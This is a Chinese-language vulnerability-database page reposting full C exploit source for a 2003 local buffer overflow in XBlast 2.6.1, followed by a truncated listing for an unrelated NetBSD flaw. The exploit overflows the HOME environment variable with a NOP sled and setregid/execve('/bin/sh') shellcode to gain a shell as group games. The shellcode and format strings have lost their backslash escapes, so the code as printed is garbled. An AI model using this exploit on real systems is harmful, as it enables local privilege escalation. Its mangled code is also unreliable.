XBlast 2.6.1 – ‘HOME Environment’ Local Buffer Overflow
漏洞ID | 1054058 | 漏洞类型 | |
发布时间 | 2003-07-28 | 更新时间 | 2003-07-28 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8296/info
XBlast is contains a locally exploitable buffer overflow vulnerability due to insufficient bounds checking of data supplied via the HOME environment variable. Successful exploitation would allow a local user to execute code with a gid of games.
/* 0x333xblast => xblast 2.6.1 local exploit
*
* xblast could be overflowed by passing a long $HOME
* env. For more info read advisory @ :
*
* http://www.0x333.org/advisories/outsider-003.txt
*
* * note * :
* exploit tested against xblast-2.6.beta-1.i386.rpm
* under Red Hat Linux 9.0. xblaste is not install
* by default +s.
*
* coded by c0wboy
*
* (c) 0x333 Outsider Security Labs / www.0x333.org
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BIN "/usr/X11R6/bin/xblast"
#define SIZE 1032
#define RET 0xbffffb38
#define NOP 0x90
unsigned char shellcode[] =
/* setregid (20,20) shellcode */
"x31xc0x31xdbx31xc9xb3x14xb1x14xb0x47"
"xcdx80"
/* exec /bin/sh shellcode */
"x31xd2x52x68x6ex2fx73x68x68x2fx2fx62"
"x69x89xe3x52x53x89xe1x8dx42x0bxcdx80";
void banner (void);
void memret (char *, int, int, int);
void banner (void)
{
fprintf (stdout, "nn --- xblast local exploit by c0wboy ---n");
fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---nn");
fprintf (stdout, " [NOW PRESS 'y' TO SPAWN THE SHELL]nn");
}
void memret (char *buffer, int ret, int size, int align)
{
int i;
int * ptr = (int *) (buffer + align);
for (i=0; i<size; i+=4)
*ptr++ = ret;
ptr = 0x0;
}
int main ()
{
int ret = RET;
char out[SIZE];
memret ((char *)out, ret, SIZE-1, 0);
memset ((char *)out, NOP, 333);
memcpy ((char *)out+333, shellcode, strlen(shellcode));
setenv ("HOME", out, 1);
banner ();
execl (BIN, BIN, 0x0);
}
NetBSD漏洞 漏洞ID 1205911 漏洞类型 未知 发布时间 2001-03-12 更新时间 2001-03-12 CVE编号 CVE-2000-0315 CNNVD-ID CNNVD-200103-009 漏洞平台 N/A CVSS评分 5.0 |漏…
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